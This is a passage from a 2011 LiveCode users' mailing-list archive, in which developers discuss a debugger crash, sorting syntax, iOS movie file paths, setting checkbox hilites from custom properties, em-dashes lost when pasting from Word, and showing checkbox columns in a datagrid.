2011, at 12:16 PM, Scott Rossi wrote: > Hi List: > > I have a client who is interested in implementing a Flash quiz I built in > Facebook and I'm looking for some help in figuring out options for this. If > anyone out can offer any insight and maybe some consulting time, please > contact me off list. Thanks! > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX Design > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Tue Dec 13 16:17:56 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 13 Dec 2011 13:17:56 -0800 Subject: Possible bug setting a watch point In-Reply-To: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> Message-ID: <17269540109.20111213131756@ahsoftware.net> Bob- Tuesday, December 13, 2011, 12:04:11 PM, you wrote: > Hi all. > I tried setting a watch on a global variable. I set it to gSiteID > <> "00003". Each time I do this Livecode CTD's. I have removed all > plugins to verify it's not something with one of those, but the > problem persists. > Can anyone else verify this happens to them before I attempt a bug report? Hmmm... what LC version? I filed bug 6506 back in the 2.9 days, and it got fixed in 4.5. I wonder if it has popped up again? -- -Mark Wieder mwieder at ahsoftware.net From bobs at twft.com Tue Dec 13 16:30:18 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 13:30:18 -0800 Subject: Possible bug setting a watch point In-Reply-To: <17269540109.20111213131756@ahsoftware.net> References: <58044EB2-3B6D-4FC6-8FA4-A19595B913B5@twft.com> <17269540109.20111213131756@ahsoftware.net> Message-ID: <30DCB652-B7DD-4340-9144-1C3E45865294@twft.com> 5.02. The latest greatest. Bob On Dec 13, 2011, at 1:17 PM, Mark Wieder wrote: > Bob- > > Tuesday, December 13, 2011, 12:04:11 PM, you wrote: > >> Hi all. > >> I tried setting a watch on a global variable. I set it to gSiteID >> <> "00003". Each time I do this Livecode CTD's. I have removed all >> plugins to verify it's not something with one of those, but the >> problem persists. > >> Can anyone else verify this happens to them before I attempt a bug report? > > Hmmm... what LC version? I filed bug 6506 back in the 2.9 days, and > it got fixed in 4.5. I wonder if it has popped up again? > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Tue Dec 13 16:48:56 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 13 Dec 2011 13:48:56 -0800 Subject: sort by length of line (Weird) In-Reply-To: <89264271375.20111213115007@ahsoftware.net> References: <89264271375.20111213115007@ahsoftware.net> Message-ID: <4EE7C848.8060805@fourthworld.com> Mark Wieder wrote: > Richard- > > Good points all. I'm not requesting that the sort command be smart > enough to handle all situations, but this is enough of a confusing > point that I think the engine could benefit from some extra smarts. A > simple parsing optimization for cases like > > sort tVar by length(each) > > could insert the "numeric" specifier without problems. I may write a > glx2 macro to do this, expecially since I don't ever expect to see > action on enhancement requests. But the point of the request isn't to > create a more elegant and streamlined language construct, it's to > reduce user confusion and having to think too deeply about what's > going on internally in the compiler rather than concentrating on the > program being built. I can appreciate the convenience and the seeming intuitiveness, but since it introduces a "sometimes" rule for the sort command I feel it risks hampering learnability even as it attempts to help it. There are so many exceptions we need to remember already I tend to be cautious about adding more. My favorite is how the absence of a "purge" command requires us to use "delete", but only for mainstacks since using it on a substack will actually delete it from the file (for those who care about such trivia there's a request for a purge command here: ) Another is that some functions can be called as though they're properties (without parens and preceded with "the"; e.g. "the windows" vs. "windows()"), but not all functions can use that form (and why property syntax is desirable for function calls at all has eluded me since HyperTalk 1.0). And then there are arrays, where with a variable you can use: put "string" after ArrayThang["label"] ...but with a property you can't use: put "string" after ArrayThang["label"] of tObject ...and must instead use: get the ArrayThang["label"] of tObject put "string" after it set the ArrayThang["label"] of tObject to it There are others, and they wind up consuming a fair amount of time when I'm teaching someone LiveCode for the first time. Exceptions require memorization, and with a language this broad it can helpful to keep the rule set as small as practical. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From mwieder at ahsoftware.net Tue Dec 13 17:20:43 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 13 Dec 2011 14:20:43 -0800 Subject: sort by length of line (Weird) In-Reply-To: <4EE7C848.8060805@fourthworld.com> References: <89264271375.20111213115007@ahsoftware.net> <4EE7C848.8060805@fourthworld.com> Message-ID: <181273307312.20111213142043@ahsoftware.net> Richard- Tuesday, December 13, 2011, 1:48:56 PM, you wrote: > There are others, and they wind up consuming a fair amount of time when > I'm teaching someone LiveCode for the first time. > Exceptions require memorization, and with a language this broad it can > helpful to keep the rule set as small as practical. Again, all good points, and the function/property thing bugs me as well, as does the fact that you can't use parentheses with commands even though they're required for functions. But the point is (and I realize I'm talking about something that is probably never going to get implemented and is pretty esoteric in the first place, so I'm going to shut up about it after this) that it's not an exception in that sense or the word. You can still say "sort myVar numeric by length(each)", I'm just suggesting that the "numeric" modifier can be implied (optional) in this case. Anyway, I do see the point of making the user do the extra thinking and typing, in the same way that we can't just say "add 1 to x" instead of "put x+1 into x". -- -Mark Wieder mwieder at ahsoftware.net From bobs at twft.com Tue Dec 13 17:31:10 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 14:31:10 -0800 Subject: sort by length of line (Weird) In-Reply-To: <181273307312.20111213142043@ahsoftware.net> References: <89264271375.20111213115007@ahsoftware.net> <4EE7C848.8060805@fourthworld.com> <181273307312.20111213142043@ahsoftware.net> Message-ID: eerm... yes we can. Bob On Dec 13, 2011, at 2:20 PM, Mark Wieder wrote: > in the same > way that we can't just say "add 1 to x" From jacque at hyperactivesw.com Tue Dec 13 17:47:53 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 13 Dec 2011 16:47:53 -0600 Subject: ios image file names In-Reply-To: References: Message-ID: <4EE7D619.4090401@hyperactivesw.com> On 12/12/11 11:42 PM, edward cawley wrote: > Jacque, > I used your suggestion and got the following : > > 12/12/11 11:23:43 PM /Users/ecawley/Library/Application Support/iPhone Simulator/4.1/Applications/9D450172-E7E2-4FA3-8C03-E761055E3180/Lawn2.app/Lawn2[6296] <<<< AVController>>>> -[AVController fpItemNotification:sender:]: item with path file://localhost/Users/ecawley/Library/Application%20Support/iPhone%20Simulator/4.1/Applications/9D450172-E7E2-4FA3-8C03-E761055E3180/Lawn2.app/Users/ecawley/Cerastium%20vulgatum-m.mov failed to open with err 2 > 12/12/11 11:23:50 PM /Users/ecawley/Library/Application Support/iPhone Simulator/4.1/Applications/9D450172-E7E2-4FA3-8C03-E761055E3180/Lawn2.app/Lawn2[6296] <<<< AVController>>>> -[AVController fpItemNotification:sender:]: item with path file://localhost/Users/ecawley/Library/Application%20Support/iPhone%20Simulator/4.1/Applications/9D450172-E7E2-4FA3-8C03-E761055E3180/Lawn2.app/Eleusine%20indica%20.mov failed to open with err 2 > > I'm not sure what err 2 is and I did not try to open/play The Cerastium movie at this time. Where caan I find a list of the error msg? I don't think it's a LiveCode error, since error 2 in LiveCode is a recursion error. It must be an iOS or simulator error code but I couldn't find a definitive list of those with a quick search. I'd guess it's a path error though. The paths point to a location inside your app bundle, and one of them includes a reference to the User folder which probably doesn't exist there. Where is the movie actually stored? If you're trying to set a player filename, you don't want to use a a url reference for a file on disk, just use the plain path relative to the engine folder. I'm not sure how the simulator reports errors like this, but offhand it looks like you're passing a URL reference instead of a relative file path, and something is urlEncoding it also. It would help to see the relevant lines of your script. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue Dec 13 17:49:42 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 13 Dec 2011 16:49:42 -0600 Subject: Screen redraw after visual effect In-Reply-To: <7C5EAABD-7AD2-4B38-AA31-3D981E2FF060@me.com> References: <7C5EAABD-7AD2-4B38-AA31-3D981E2FF060@me.com> Message-ID: <4EE7D686.4070900@hyperactivesw.com> On 12/13/11 12:00 AM, Peter Bogdanoff wrote: > Yes, audio is playing while the visual effect happens with no audio issues. > > Setting the currentTime didn't seem to fix the redraw. I do want to keep the controller on the card as there are multiple windows that each may have playing audio of their own. > > I don't see a redraw command... You could try: lock the screen, hide the player, go to the next card, show the player, unlock screen with visual effect. Who knows, might work. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Tue Dec 13 17:50:10 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 14:50:10 -0800 Subject: Setting the value of a button hilite in script Message-ID: I wrote myself a script to set the initial values of controls on a card in preOpenCard. It looks for a custom property name cInitialValue, then initialises the control to the value of the custom property, depending on that type of control (field, button, etc). I set the value of cInitialValue for checkboxes or radio buttons to either true or false. My code then is: set the hilite of control x of this card to (the cInitialValue of control x of this card) At run time, I get an error - value is not a boolean (true or false) near "false" I'm suspecting this is because true and false are reserved words but the set statement is treating them as literals (they are not in quotes in the cprop though). However, the statement: put (the cInitialValue of control x of this card) into control x of this card ...works just fine when the value of the cprop is the word empty, also a reserved word. I'm reduced to what looks like a nonsenical if statement that checks the cprop for true or false and sets the hilite of the button to true or false. Looks really weird! -- Pete Molly's Revenge From jacque at hyperactivesw.com Tue Dec 13 18:02:14 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 13 Dec 2011 17:02:14 -0600 Subject: Setting the value of a button hilite in script In-Reply-To: References: Message-ID: <4EE7D976.90206@hyperactivesw.com> On 12/13/11 4:50 PM, Pete wrote: > I wrote myself a script to set the initial values of controls on a card in > preOpenCard. It looks for a custom property name cInitialValue, then > initialises the control to the value of the custom property, depending on > that type of control (field, button, etc). > > I set the value of cInitialValue for checkboxes or radio buttons to either > true or false. My code then is: > > set the hilite of control x of this card to (the cInitialValue of control x > of this card) > > At run time, I get an error - value is not a boolean (true or false) near > "false" It should work unless the value is empty or the control doesn't support the hilite property. Does your loop check for empty? Does it always try to hilite only buttons? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From sl at trackandfieldnews.com Tue Dec 13 18:09:21 2011 From: sl at trackandfieldnews.com (Sieg Lindstrom) Date: Tue, 13 Dec 2011 15:09:21 -0800 Subject: characters lost pasting from Word To LiveCode field Message-ID: I use a LiveCode app (OSX) to parse text taken from Word files, glean relevant data, write records to a database and also reformat the original text in certain ways. I copy and paste text from Word into a field in my app, click a button and it does the rest, until I upgraded to 5.0x. I'll say up front the details of text encoding are not my strong suit. With earlier versions (RunRev 4.x and earlier), I'd sometimes have to write special routines to search and replace certain characters from the pasted text. For example, the em-dash, "?" (chartonum 209), which after pasting from Word was seen by RunRev as two characters (a two-byte character?), numtochar of 32 followed by numtochar of 20 so I wrote a routine to just search and replace to numToChar of 209. My new problem is that with LiveCode 5.0x (I just upgraded to 5.02), the em-dash if pasted from a Word file instantly disappears from the text. This... Berlin, Germany, December 12? becomes this... Berlin, Germany, December 12 This probably affects other characters; I'm not yet sure which ones. Any suggestions how I can seamlessly copy and paste the em-dash and other characters like it from Word to a LiveCode field? The only workaround, very inelegant, that I've found is to copy and paste from Word to TextEdit and then from TextEdit to LiveCode app. Not a welcome extra step. Thanks in advance. Sieg From bobs at twft.com Tue Dec 13 18:12:17 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 15:12:17 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: References: Message-ID: <1AFEB863-3E8D-4017-A56D-94CB298486C3@twft.com> Hmmm... breakpoint in the loop and check that the control you think you are setting is actually a checkbox or radio button, then make sure the property is what you think it is. Also check for a carriage return in the property. That bit me in the butt recently. Bob On Dec 13, 2011, at 2:50 PM, Pete wrote: > I wrote myself a script to set the initial values of controls on a card in > preOpenCard. It looks for a custom property name cInitialValue, then > initialises the control to the value of the custom property, depending on > that type of control (field, button, etc). > > I set the value of cInitialValue for checkboxes or radio buttons to either > true or false. My code then is: > > set the hilite of control x of this card to (the cInitialValue of control x > of this card) > > At run time, I get an error - value is not a boolean (true or false) near > "false" > > I'm suspecting this is because true and false are reserved words but the > set statement is treating them as literals (they are not in quotes in the > cprop though). However, the statement: > > put (the cInitialValue of control x of this card) into control x of this > card > > ...works just fine when the value of the cprop is the word empty, also a > reserved word. > > I'm reduced to what looks like a nonsenical if statement that checks the > cprop for true or false and sets the hilite of the button to true or false. > Looks really weird! > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Tue Dec 13 18:27:06 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 15:27:06 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: <4EE7D976.90206@hyperactivesw.com> References: <4EE7D976.90206@hyperactivesw.com> Message-ID: l check for empty in the cprop and ignore it if so. The control that's being processed when I get the error is a checkbox. I don't get any errors on other type of controls except checkboxes and radio buttons when trying to set their hilite. On Tue, Dec 13, 2011 at 3:02 PM, J. Landman Gay wrote: > It should work unless the value is empty or the control doesn't support > the hilite property. Does your loop check for empty? Does it always try to > hilite only buttons? -- Pete Molly's Revenge From mark_powell at symantec.com Tue Dec 13 19:17:00 2011 From: mark_powell at symantec.com (Mark Powell) Date: Tue, 13 Dec 2011 16:17:00 -0800 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: <3469AF22E7D82A46A12B6612437B8DF5029E13A268@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> Hi Sieg I have lot of fields that I have to handle like this and have found that a pasteKey handler in the field serves my purposes. It first does put the clipboardData["text"] into tTemp followed by various filtering and replacement, followed by put tTemp into me Which of course replaces the field with what you are pasting. If you want to append or insert, then a different put is needed. By the way, at the end of every work day, I have constellations of Notepad documents open, that have done nothing except serve the purpose of stripping out Microsoft tagging from cut and paste tasks. It is almost a standing joke among my team. Yes, inelegant is the word, but apparently necessary. Mark From bobs at twft.com Tue Dec 13 19:27:17 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 16:27:17 -0800 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: <1EAF91A7-76EB-4DB9-BD21-F16188ACFAA8@twft.com> Pasting from Office applications has been discussed in length in prior threads, but the gist of it is, Microsoft maintains their own internal clipboard to facilitate pasting between their dissimilar applications, so that a range of cells copied from a spreadsheet can be pasted into a word document as an active link or a table object etc. When you paste in another non-Microsoft app, MS does a clipboard conversion to make it compatible with the receiving app. I believe you are discovering some of the limitations to that. Now I just copied an emdash, switched to Livecode, and then entered put chartonum(the clipboardData) into the message box and got blank. I then copied the emdash from Word, pasted it into a rich text textedit document, copied it again, then issued the same command. In the first instance I got empty. In the second I got 209. That tells me that Word is performing a clipboard conversion for Livecode that kills the character. The clipboard conversion for textedit works just fine. Whose fault is it do you ask? Beats the heck out of me! Pick a number from Runrev to Microsoft. Bob On Dec 13, 2011, at 3:09 PM, Sieg Lindstrom wrote: > I use a LiveCode app (OSX) to parse text taken from Word files, glean > relevant data, write records to a database and also reformat the original > text in certain ways. I copy and paste text from Word into a field in my > app, click a button and it does the rest, until I upgraded to 5.0x. > > I'll say up front the details of text encoding are not my strong suit. With > earlier versions (RunRev 4.x and earlier), I'd sometimes have to write > special routines to search and replace certain characters from the pasted > text. For example, the em-dash, "?" (chartonum 209), which after pasting > from Word was seen by RunRev as two characters (a two-byte character?), > numtochar of 32 followed by numtochar of 20 so I wrote a routine to just > search and replace to numToChar of 209. My new problem is that with LiveCode > 5.0x (I just upgraded to 5.02), the em-dash if pasted from a Word file > instantly disappears from the text. > > This... > > Berlin, Germany, December 12? > > becomes this... > > Berlin, Germany, December 12 > > This probably affects other characters; I'm not yet sure which ones. Any > suggestions how I can seamlessly copy and paste the em-dash and other > characters like it from Word to a LiveCode field? The only workaround, very > inelegant, that I've found is to copy and paste from Word to TextEdit and > then from TextEdit to LiveCode app. Not a welcome extra step. Thanks in > advance. > > Sieg > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bdrunrev at gmail.com Tue Dec 13 19:41:47 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Wed, 14 Dec 2011 00:41:47 +0000 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: Is it possible to export the text from Word as RTF, then import into Livecode as RTF? Bernard On Tue, Dec 13, 2011 at 11:09 PM, Sieg Lindstrom wrote: > I use a LiveCode app (OSX) to parse text taken from Word files, glean > relevant data, write records to a database and also reformat the original > text in certain ways. I copy and paste text from Word into a field in my > app, click a button and it does the rest, until I upgraded to 5.0x. > > I'll say up front the details of text encoding are not my strong suit. With > earlier versions (RunRev 4.x and earlier), I'd sometimes have to write > special routines to search and replace certain characters from the pasted > text. For example, the em-dash, "?" (chartonum 209), which after pasting > from Word was seen by RunRev as two characters (a two-byte character?), > numtochar of 32 followed by numtochar of 20 so I wrote a routine to just > search and replace to numToChar of 209. My new problem is that with > LiveCode > 5.0x (I just upgraded to 5.02), the em-dash if pasted from a Word file > instantly disappears from the text. > > This... > > Berlin, Germany, December 12? > > becomes this... > > Berlin, Germany, December 12 > > This probably affects other characters; I'm not yet sure which ones. Any > suggestions how I can seamlessly copy and paste the em-dash and other > characters like it from Word to a LiveCode field? The only workaround, very > inelegant, that I've found is to copy and paste from Word to TextEdit and > then from TextEdit to LiveCode app. Not a welcome extra step. Thanks in > advance. > > Sieg > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Tue Dec 13 20:01:12 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 13 Dec 2011 17:01:12 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: References: Message-ID: <78282935937.20111213170112@ahsoftware.net> Pete- Try it without the parentheses. It's kind of unpredictable when they'll work and when they won't. This works for me where the parenthetical one gives me an error. set the hilite of control x of this card to the cInitialValue of \ control x of this card -- -Mark Wieder mwieder at ahsoftware.net From sl at trackandfieldnews.com Tue Dec 13 20:11:46 2011 From: sl at trackandfieldnews.com (Sieg Lindstrom) Date: Tue, 13 Dec 2011 17:11:46 -0800 Subject: use-livecode Digest, Vol 99, Issue 23 In-Reply-To: Message-ID: Thanks Bob & Mark. Bob's fix sounds like the ticket. As to whether I'd blame Microsoft or RunRev, my first inclination is to blame Microsoft. However, this is the third time I've had to retool for different handling of characters like the em dash over several updates of RunRev/LiveCode, always pasted from the same version of Word. At one time the em dash (and there are other characters with similar problems) pasted into RunRev as chartonum 20 followed by chartonum 32. Then in a later RunRev update it came in as the reverse, chartonum 32 followed by chartonum 20. Now it disappears entirely on paste. I'd also note that an em dash pasted from Open Office appears when you paste it into a field but then if you manipulate that text with a handler and put it back into the field, it "shows" as an invisible chartonum 21 followed by chartonum 32. The clipboard conversions have been inconsistent over time. Thanks. Sieg On 12/13/11 4:27 PM, Mark Powell wrote: > Hi Sieg > > I have lot of fields that I have to handle like this and have found that a > pasteKey handler in the field serves my purposes. It first does > > put the clipboardData["text"] into tTemp > > followed by various filtering and replacement, followed by > > put tTemp into me > > Which of course replaces the field with what you are pasting. If you want to > append or insert, then a different put is needed. On 12/13/11 4:27 PM, Bob Sneidar wrote: > Pasting from Office applications has been discussed in length in prior > threads, but the gist of it is, Microsoft maintains their own internal > clipboard to facilitate pasting between their dissimilar applications, so that > a range of cells copied from a spreadsheet can be pasted into a word document > as an active link or a table object etc. > > When you paste in another non-Microsoft app, MS does a clipboard conversion to > make it compatible with the receiving app. I believe you are discovering some > of the limitations to that. > > Now I just copied an emdash, switched to Livecode, and then entered put > chartonum(the clipboardData) into the message box and got blank. I then copied > the emdash from Word, pasted it into a rich text textedit document, copied it > again, then issued the same command. > > In the first instance I got empty. In the second I got 209. That tells me that > Word is performing a clipboard conversion for Livecode that kills the > character. The clipboard conversion for textedit works just fine. > > Whose fault is it do you ask? Beats the heck out of me! Pick a number from > Runrev to Microsoft. From sl at trackandfieldnews.com Tue Dec 13 20:13:45 2011 From: sl at trackandfieldnews.com (Sieg Lindstrom) Date: Tue, 13 Dec 2011 17:13:45 -0800 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: Message-ID: Thanks Bob & Mark. Bob's fix sounds like the ticket. As to whether I'd blame Microsoft or RunRev, my first inclination is to blame Microsoft. However, this is the third time I've had to retool for different handling of characters like the em dash over several updates of RunRev/LiveCode, always pasted from the same version of Word. At one time the em dash (and there are other characters with similar problems) pasted into RunRev as chartonum 20 followed by chartonum 32. Then in a later RunRev update it came in as the reverse, chartonum 32 followed by chartonum 20. Now it disappears entirely on paste. I'd also note that an em dash pasted from Open Office appears when you paste it into a field but then if you manipulate that text with a handler and put it back into the field, it "shows" as an invisible chartonum 21 followed by chartonum 32. The clipboard conversions have been inconsistent over time. Thanks. Sieg On 12/13/11 4:27 PM, Mark Powell wrote: > Hi Sieg > > I have lot of fields that I have to handle like this and have found that a > pasteKey handler in the field serves my purposes. It first does > > put the clipboardData["text"] into tTemp > > followed by various filtering and replacement, followed by > > put tTemp into me > > Which of course replaces the field with what you are pasting. If you want to > append or insert, then a different put is needed. On 12/13/11 4:27 PM, Bob Sneidar wrote: > Pasting from Office applications has been discussed in length in prior > threads, but the gist of it is, Microsoft maintains their own internal > clipboard to facilitate pasting between their dissimilar applications, so that > a range of cells copied from a spreadsheet can be pasted into a word document > as an active link or a table object etc. > > When you paste in another non-Microsoft app, MS does a clipboard conversion to > make it compatible with the receiving app. I believe you are discovering some > of the limitations to that. > > Now I just copied an emdash, switched to Livecode, and then entered put > chartonum(the clipboardData) into the message box and got blank. I then copied > the emdash from Word, pasted it into a rich text textedit document, copied it > again, then issued the same command. > > In the first instance I got empty. In the second I got 209. That tells me that > Word is performing a clipboard conversion for Livecode that kills the > character. The clipboard conversion for textedit works just fine. > > Whose fault is it do you ask? Beats the heck out of me! Pick a number from > Runrev to Microsoft. From bobs at twft.com Tue Dec 13 20:21:38 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 17:21:38 -0800 Subject: Checkbox in datagrid column Message-ID: <8539525C-1E2B-44EC-8B48-9B48CAA40746@twft.com> Hi all. I guess this would be a zryip question. It may be too difficult to attempt, but I am going to give it a try anyway. I have a datagrid that already contains data. There are 3 modes to the form, browse, edit and newrecord. In edit and newrecord mode I want to display a checkbox in a column next to each row of the datagrid, but in browse mode I don't want the checkbox to be displayed. Maybe I should back up a bit. I have 2 datagrids, one is a list of primary records for the form, let's say reservations. The second can be anything related to the primary data, say the guest, the rooms he has reserved, the conference the reservation is attached to etc. In browse mode, I filter the alt list to only show the row data that corresponds to the primary record. But when editing or creating a new record, I display ALL the data, so the user can select from a list of records using a checkbox in the datagrid. Get it? So I would like to be able to either add a checkbox on the fly (probably too hard) or else have the checkbox column there by default, and then hide and show it by changing the dgColumns as needed. Maybe I am over-thinking this, and what I really need to do is create a bunch of buttons that correspond to the rows of the datagrid and kludge it. Bob From bobs at twft.com Tue Dec 13 20:22:43 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 13 Dec 2011 17:22:43 -0800 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: <48C39EDC-1895-406F-84E8-68F93513895A@twft.com> Yes. It's called "Textedit". You 2 hop it and all works wonderfully. Now that I think about it, I wonder what Applescript could do... Bob On Dec 13, 2011, at 4:41 PM, Bernard Devlin wrote: > Is it possible to export the text from Word as RTF, then import into > Livecode as RTF? > > Bernard > > On Tue, Dec 13, 2011 at 11:09 PM, Sieg Lindstrom > wrote: > >> I use a LiveCode app (OSX) to parse text taken from Word files, glean >> relevant data, write records to a database and also reformat the original >> text in certain ways. I copy and paste text from Word into a field in my >> app, click a button and it does the rest, until I upgraded to 5.0x. >> >> I'll say up front the details of text encoding are not my strong suit. With >> earlier versions (RunRev 4.x and earlier), I'd sometimes have to write >> special routines to search and replace certain characters from the pasted >> text. For example, the em-dash, "?" (chartonum 209), which after pasting >> from Word was seen by RunRev as two characters (a two-byte character?), >> numtochar of 32 followed by numtochar of 20 so I wrote a routine to just >> search and replace to numToChar of 209. My new problem is that with >> LiveCode >> 5.0x (I just upgraded to 5.02), the em-dash if pasted from a Word file >> instantly disappears from the text. >> >> This... >> >> Berlin, Germany, December 12? >> >> becomes this... >> >> Berlin, Germany, December 12 >> >> This probably affects other characters; I'm not yet sure which ones. Any >> suggestions how I can seamlessly copy and paste the em-dash and other >> characters like it from Word to a LiveCode field? The only workaround, very >> inelegant, that I've found is to copy and paste from Word to TextEdit and >> then from TextEdit to LiveCode app. Not a welcome extra step. Thanks in >> advance. >> >> Sieg >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Tue Dec 13 20:23:11 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 17:23:11 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: <78282935937.20111213170112@ahsoftware.net> References: <78282935937.20111213170112@ahsoftware.net> Message-ID: Hi Mark, That's where I started - I added the parens to see if it made any difference. I just tried it again without the parens and still get the same error. Wonder if it's a version thing - I'm on 4.6.4 On Tue, Dec 13, 2011 at 5:01 PM, Mark Wieder wrote: > Pete- > > Try it without the parentheses. It's kind of unpredictable when > they'll work and when they won't. This works for me where the > parenthetical one gives me an error. > > set the hilite of control x of this card to the cInitialValue of \ > control x of this card > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Tue Dec 13 20:31:00 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 17:31:00 -0800 Subject: [OT] Ghostery In-Reply-To: References: <4E394A4E.2010201@fourthworld.com> <4E396EAE.3030706@hyperactivesw.com> Message-ID: Thanks for introducing me to Ghostery - it's opened up a whole new world of tracking that I had no idea was going on. A lot of sites use Google Analytics of course and I'm not inclined to block that since I've used it myself and found it very useful. I don;t believe it keeps anything more intrusive than geographical data, but I could be wrong. From pete at mollysrevenge.com Tue Dec 13 20:33:35 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 13 Dec 2011 17:33:35 -0800 Subject: Checkbox in datagrid column In-Reply-To: <8539525C-1E2B-44EC-8B48-9B48CAA40746@twft.com> References: <8539525C-1E2B-44EC-8B48-9B48CAA40746@twft.com> Message-ID: I think the easiest way would be to change the dgvisible property of the checkbox column to true or false depending on the requirements. On Tue, Dec 13, 2011 at 5:21 PM, Bob Sneidar wrote: > Hi all. > > I guess this would be a zryip question. It may be too difficult to > attempt, but I am going to give it a try anyway. > > I have a datagrid that already contains data. There are 3 modes to the > form, browse, edit and newrecord. In edit and newrecord mode I want to > display a checkbox in a column next to each row of the datagrid, but in > browse mode I don't want the checkbox to be displayed. > > Maybe I should back up a bit. I have 2 datagrids, one is a list of primary > records for the form, let's say reservations. The second can be anything > related to the primary data, say the guest, the rooms he has reserved, the > conference the reservation is attached to etc. > > In browse mode, I filter the alt list to only show the row data that > corresponds to the primary record. But when editing or creating a new > record, I display ALL the data, so the user can select from a list of > records using a checkbox in the datagrid. Get it? > > So I would like to be able to either add a checkbox on the fly (probably > too hard) or else have the checkbox column there by default, and then hide > and show it by changing the dgColumns as needed. > > Maybe I am over-thinking this, and what I really need to do is create a > bunch of buttons that correspond to the rows of the datagrid and kludge it. > > Bob > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From revdev at pdslabs.net Tue Dec 13 20:43:03 2011 From: revdev at pdslabs.net (Phil Davis) Date: Tue, 13 Dec 2011 17:43:03 -0800 Subject: Setting the value of a button hilite in script In-Reply-To: References: Message-ID: <4EE7FF27.5050003@pdslabs.net> Hi Pete, I'm not always good at staying on-topic, but maybe some of this will help... On 12/13/11 2:50 PM, Pete wrote: > I wrote myself a script to set the initial values of controls on a card in > preOpenCard. It looks for a custom property name cInitialValue, then > initialises the control to the value of the custom property, depending on > that type of control (field, button, etc). > > I set the value of cInitialValue for checkboxes or radio buttons to either > true or false. My code then is: > > set the hilite of control x of this card to (the cInitialValue of control x > of this card) > > At run time, I get an error - value is not a boolean (true or false) near > "false" Couple of things: - since only buttons can have hilites, why not make your 'set' loop deal with buttons only? e.g. "set the hilite of btn x of ...." - an easy way to handle empty cprop hilite values (assuming empty = false) is: set the hilite of btn x of this card to (the cInitialValue of btn x of this card = true) Doing this will prevent runtime hilite-setting errors (though your hilites may still not be set to the correct values) > > I'm suspecting this is because true and false are reserved words but the > set statement is treating them as literals (they are not in quotes in the > cprop though). However, the 